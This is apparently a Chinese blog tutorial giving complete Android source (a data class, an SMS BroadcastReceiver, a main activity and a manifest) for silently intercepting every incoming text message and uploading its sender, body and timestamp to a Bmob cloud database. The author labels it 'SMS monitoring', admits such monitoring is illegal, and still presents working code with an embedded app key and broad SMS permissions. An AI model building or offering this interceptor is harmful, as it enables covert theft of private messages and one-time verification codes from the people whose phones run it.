最近在做監(jiān)聽驗(yàn)證碼短信自動填入的功能，無意間想到了一個(gè)短信監(jiān)聽的辦法。免責(zé)聲明：短信監(jiān)聽本身是一種違法行為，這里只是技術(shù)描述，請大家學(xué)習(xí)技術(shù)即可。

本實(shí)例是基于bmob提供的后臺服務(wù)，將監(jiān)聽到的短信自動上傳到bmob數(shù)據(jù)庫中。

一、代碼實(shí)現(xiàn)：

為了便于操作，首先對要監(jiān)聽的對象進(jìn)行封裝：

package com.example.messagecut;   
import cn.bmob.v3.BmobObject;  
public class MsgContent extends BmobObject  {  
    private String form;  
    private String content;  
    private String time;  
    public String getForm() {  
        return form;  
    }  
    public void setForm(String form) {  
        this.form = form;  
    }  
    public String getContent() {  
        return content;  
    }  
    public void setContent(String content) {  
        this.content = content;  
    }  
    public String getTime() {  
        return time;  
    }  
    public void setTime(String time) {  
        this.time = time;  
    }  
}  

BroadcastReceiver:

package com.example.messagecut;  
//省略import  
/** 
 * 配置廣播接收者: <receiver android:name=".SMSBroadcastReceiver"> <intent-filter 
 * android:priority="1000"> <action android:name= 
 * "android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>  
 * 注意: <intent-filter android:priority="1000">表示: 設(shè)置此廣播接收者的級別為最高 
 */    
public class SMSBroadcastReceiver extends BroadcastReceiver {  
    private static MessageListener mMessageListener;  
    public SMSBroadcastReceiver() {  
        super();  
    }  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");  
        for (Object pdu : pdus) {  
            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);  
            String sender = smsMessage.getDisplayOriginatingAddress();  
            String content = smsMessage.getMessageBody();  
            long date = smsMessage.getTimestampMillis();  
            Date timeDate = new Date(date);  
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
            String time = simpleDateFormat.format(timeDate);  
            System.out.println("短信來自:" + sender);  
            System.out.println("短信內(nèi)容:" + content);  
            System.out.println("短信時(shí)間:" + time);  
            mMessageListener.OnReceived(sender + "," + content + "," + time);  
        }  
    }  

    // 回調(diào)接口  
    public interface MessageListener {  
        public void OnReceived(String message);  
    }  
    public void setOnReceivedMessageListener(MessageListener messageListener) {  
        this.mMessageListener = messageListener;  
    }  
}  

通過SmsMessage 類的createFromPdu方法獲取SmsMessage對象，調(diào)用其getDisplayOriginatingAddress方法獲取發(fā)信人信息，調(diào)用其getMessageBody獲得短信內(nèi)容信息，調(diào)用其 getTimestampMillis獲得發(fā)送時(shí)間信息，將這三個(gè)信息通過逗號隔開拼接成一個(gè)字符串，用回調(diào)的方法將這個(gè)字符串傳遞到Activity中。 MainActivity.java:

package com.example.messagecut;  
//省略import
/** 
 * Demo描述: 利用BroadcastReceiver實(shí)現(xiàn)監(jiān)聽短信 
 * 注意權(quán)限: <uses-permission android:name="android.permission.RECEIVE_SMS"/> 
 */  
public class MainActivity extends Activity {  
    private SMSBroadcastReceiver mSMSBroadcastReceiver;  
    private String message;  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
  setContentView(R.layout.activity_main);  
        Bmob.initialize(this, "8f3ffb2658d8a3366a70a0b0ca0b71b2");      
        mSMSBroadcastReceiver = new SMSBroadcastReceiver();          mSMSBroadcastReceiver.setOnReceivedMessageListener(new MessageListener() {  
            public void OnReceived(String message) {      
                String[] msg=message.split(",");  
                MsgContent msgContent=new MsgContent();                                       msgContent.setForm(msg[0]);                
                 msgContent.setContent(msg[1]);                 msgContent.setTime(msg[2]);     
                      msgContent.save(MainActivity.this, new SaveListener() {   
                    @Override  
                    public void onSuccess() {//上傳成功       
                    }   
                    @Override  
                    public void onFailure(int arg0, String arg1) {       
                    }  
                });       
            }  
        });  
    }  
}  

接口回調(diào)的方法獲取字符串的內(nèi)容，調(diào)用split方法將字符串的內(nèi)容截取成字符串?dāng)?shù)組，然后依次獲取發(fā)送人，發(fā)送內(nèi)容和發(fā)送時(shí)間的內(nèi)容，將這些內(nèi)容結(jié)合Bmob的API上傳到Bmob后臺，實(shí)現(xiàn)短信監(jiān)聽的目的。 最后，配置AndroidManifest.xml文件：

<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"  
    package="com.example.messagecut"  
    android:versionCode="1"  
    android:versionName="1.0" >  
    <uses-sdk  
        android:minSdkVersion="8"  
        android:targetSdkVersion="21" />  
    <application  
        android:allowBackup="true"  
        android:icon="@drawable/ic_launcher"  
        android:label="@string/app_name"  
        android:theme="@style/AppTheme" >  
        <activity  
            android:name=".MainActivity"  
            android:label="@string/app_name" >  
            <intent-filter>  
                <action android:name="android.intent.action.MAIN" />  
                <category android:name="android.intent.category.LAUNCHER" />  
            </intent-filter>  
        </activity>  
        <receiver android:name=".SMSBroadcastReceiver" >  
            <intent-filter>  
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />  
            </intent-filter>  
        </receiver>  
    </application>  
    <!-- 發(fā)送短信 -->  
    <uses-permission android:name="android.permission.SEND_SMS" />  
    <!-- 閱讀消息 -->  
    <uses-permission android:name="android.permission.READ_SMS" />  
    <!-- 寫入消息 -->  
    <uses-permission android:name="android.permission.WRITE_SMS" />  
    <!-- 接收消息 -->  
    <uses-permission android:name="android.permission.RECEIVE_SMS" />  
    <uses-permission android:name="android.permission.INTERNET" />  
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />  
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  
    <uses-permission android:name="android.permission.READ_LOGS" />   
</manifest>  

為了保證項(xiàng)目運(yùn)行，需要配置一些權(quán)限。

運(yùn)行項(xiàng)目實(shí)例，然后用另一個(gè)手機(jī)發(fā)一條短信到測試手機(jī)，這時(shí)就會在后臺數(shù)據(jù)庫中看到這樣一條信息，如下截圖：

已經(jīng)實(shí)現(xiàn)了短信監(jiān)聽的功能。